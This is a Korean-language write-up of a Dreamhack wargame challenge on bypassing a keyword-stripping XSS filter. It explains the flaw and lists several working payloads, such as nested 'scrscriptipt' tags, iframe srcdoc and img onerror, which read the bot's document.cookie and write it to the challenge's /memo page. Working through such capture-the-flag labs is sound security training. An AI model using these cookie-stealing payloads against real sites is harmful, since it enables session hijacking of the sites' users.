LEVEL 1: XSS Filtering Bypass

https://dreamhack.io/wargame/challenges/433

소스 코드 분석


내가 생성한 XSS 페이로드를 봇이 실행할 수 있도록 만들어주는 함수다.


/vuln 페이지에서 페이로드를 필터링한다. /flag 페이지에서 적용한 페이로드가 /vuln에서 실행되므로 /flag 페이지까지 필터링한다고 볼 수 있다.


XSS 취약점이 발생하는 페이지다. /flag 페이지에서 전달한 페이로드가 이 페이지에서 실행된다.


값을 입력하여 전송하면 웹 서버의 봇이 페이로드를 받아서 /vuln 페이지에 방문한다.


memo로 받은 값을 화면에 출력한다. 봇의 쿠키 값을 이 페이지에 출력할 수 있다.


풀이


/vuln 페이지에 XSS 취약점이 존재하고, 이를 방지하기 위한 필터링 규칙이 문자열 제거이므로 쉽게 우회가 가능하다. 내가 사용한 페이로드의 주요 키워드인 “script”, “location.href”를 그대로 사용할 경우 해당 코드가 제거되어 실행될 수 없을 것이다. 하지만 단순 문자열 제거는 코드 사이에 코드를 삽입하여 우회가 가능하다.


flag는 웹 봇의 쿠키에 저장돼있으므로 쿠키 값을 /memo 페이지에 저장하는 페이로드를 생성해야 한다. 내가 생성한 페이로드는 아래와 같다.

<scrscriptipt>locatioonn.href=`/memo?memo=${document.cookie}`</scrscriptipt>


해당 페이로드를 /flag 페이지의 text 박스에 입력하고 ‘제출’ 버튼을 클릭하면 페이로드가 웹 봇에게 전달되고 쿠키 값을 /memo 페이지에 저장하게 된다.


이 밖에도 다른 분들의 풀이를 보고 확인한 페이로드


<iframe srcdoc="<script>fetch('/memo?memo='+document.cookie)</script>">
<scrionpt>eval('locatio'+'n.href="/memo?memo="+document.cookie')</scrionpt>
<scronipt>document['locatio'+'n'].href = "/memo?memo=" + document.cookie;</scronipt>
<scrscriptipt>locatioonn.href="/memo?memo=".coonncat(document.cookie)</scrscriptipt>
<img src=x oonnerror="locatioonn.href='/memo?memo='+document.cookie">

Published by